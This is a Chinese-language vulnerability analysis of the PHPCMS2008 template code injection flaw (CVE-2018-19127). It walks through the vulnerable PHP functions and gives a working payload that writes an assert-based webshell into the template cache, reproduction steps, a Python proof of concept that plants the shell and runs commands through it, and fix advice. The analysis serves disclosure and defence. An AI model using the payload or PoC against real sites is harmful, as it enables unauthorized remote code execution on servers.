描述:
近日,互聯網爆出PHPCMS2008代碼注入漏洞(CVE-2018-19127)。攻擊者利用該漏洞,可在未授權的情況下實現對網站文件的寫入。該漏洞危害程度為高危(High)。目前,漏洞利用原理已公開,廠商已發布新版本修復此漏洞。
影響范圍:
PHPCMS2008 sp4及以下版本
雖然距離PHPCMS2008版本的推出已經10年,但仍有不少網站正在使用PHPCMS2008,包括政府、企業的網站;根據Fofa網絡空間安全搜索引擎的全網精確搜索結果顯示,還有近200個使用PHPCMS2008版本的網站;而如果使用模糊匹配對網站進行識別,匹配結果更達上萬個。
通過利用該漏洞,攻擊者在向路徑可控的文件寫入惡意腳本代碼后,后續將能夠向該文件發送webshell指令,在服務器上執行任意代碼,因此該代碼注入漏洞的影響較大。
漏洞分析:
在type.php中:
包含/include/common.inc.php 其作用是對$_GET,$_POST
等全局變量進行注冊。
PHP extract() 函數:
extract() 函數從數組中將變量導入到當前的符號表。
該函數使用數組鍵名作為變量名,使用數組鍵值作為變量值。針對數組中的每個元素,將在當前符號表中創建對應的一個變量。
第二個參數 type 用于指定當某個變量已經存在,而數組中又有同名元素時,extract() 函數如何對待這樣的沖突。
該函數返回成功導入到符號表中的變量數目。
EXTR_SKIP -
如果有沖突,不覆蓋已有的變量。
如:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
結果
$a = Cat; $b = Dog; $c = Horse
在type.php第31行調用template函數
在/include/global.func.php文件中定義,包含如下代碼:
function template($module = 'phpcms', $template = 'index', $istag = 0)
{
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
if(TPL_REFRESH && (!file_exists($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html') > @filemtime($compiledtplfile) || @filemtime(TPL_ROOT.TPL_NAME.'/tag.inc.php') > @filemtime($compiledtplfile)))
{
require_once PHPCMS_ROOT.'include/template.func.php';
template_compile($module, $template, $istag);
}
return $compiledtplfile;
}
不難看出,這里會繼續調用/include/template.func.php中的template_compile();
<?php
function template_compile($module, $template, $istag = 0)
{
$tplfile = TPL_ROOT.TPL_NAME.'/'.$module.'/'.$template.'.html';
$content = @file_get_contents($tplfile);
if($content === false) showmessage("$tplfile is not exists!");
$compiledtplfile = TPL_CACHEPATH.$module.'_'.$template.'.tpl.php';
$content = ($istag || substr($template, 0, 4) == 'tag_') ? '<?php function _tag_'.$module.'_'.$template.'($data, $number, $rows, $count, $page, $pages, $setting){ global $PHPCMS,$MODULE,$M,$CATEGORY,$TYPE,$AREA,$GROUP,$MODEL,$templateid,$_userid,$_username;@extract($setting);?>'.template_parse($content, 1).'<?php } ?>' : template_parse($content);
$strlen = file_put_contents($compiledtplfile, $content);
@chmod($compiledtplfile, 0777);
return $strlen;
}
在這個方法中,$template
變量同時被用于$compiledtplfile
中文件路徑的生成,和$content
中文件內容的生成。而$content
變量當我們的輸入為template=tag(){};@unlink(FILE);assert($_POST[1]);{//../rss
自然會選擇前者,而content內容中$template
變量可控,最后file_put_contents函數寫入任意代碼
而攻擊payload將$template變量被設置為如下的值:
tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
所以在template_compile()方法中,調用file_put_contents()函數時的第一個參數就被寫成了
data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php
需要注意的是,file_put_contents路徑為data/cache_template/phpcms_tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss.tpl.php
php會將其路徑解析為data/cache_template/rss.tpl.php
。
漏洞復現:
下載phpcms2008并安裝
構造payload:
template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//../rss
插入內容,然后打開源碼會發現在phpcms\data\cache_template下多了個rss.tpl.php文件
然后打開
會看到成功插入的內容
訪問網站可以利用成功:
根據上述復現步驟和思路編寫檢測和利用poc(根據別人修改)
import HackRequests
import sys
def poc(arg, **kwargs):
payload = r'''/type.php?template=tag_(){};@unlink(FILE);assert($_GET[1]);{//../rss'''
hh = HackRequests.http(arg + payload)
data = {'1':'phpinfo()'}
shell_url = arg + '/data/cache_template/rss.tpl.php'
r = HackRequests.http(shell_url,post = data)
if r.status_code == 200 and 'allow_url_fopen' in r.text():
result = {
"name": "phpcms_2008 rce", # 插件名稱
"content": "漏洞存在!攻擊者利用該漏洞,可在未授權的情況下實現對網站文件的寫入。該漏洞危害程度為高危(High)。", # 插件返回內容詳情,會造成什么后果。
"url": shell_url, # 漏洞存在url
"log": hh.log,
"tag": "rce" # 漏洞標簽
}
print(result['content']+'\n'+'shell地址:'+result['url'])
if __name__=='__main__':
if len(sys.argv)!=2:
print('>>>>>>>>>>>python poc.py url<<<<<<<<<<<<<<')
sys.exit(-1)
else:
url=sys.argv[1]
poc(url)
漏洞修復:
臨時解決可以在/type.php文件中對$template變量進行過濾,避免用戶輸入的含有”(“、”{“等符號的內容混入,并被當做路徑和腳本內容處理。
但由于PHPCMS2008版本過舊,用戶應盡量升級到最新版本的PHPCMS,才能夠更好地保障安全。
參考:
https://www.freebuf.com/vuls/190631.html
http://www.cnblogs.com/ichunqiu/p/10039579.html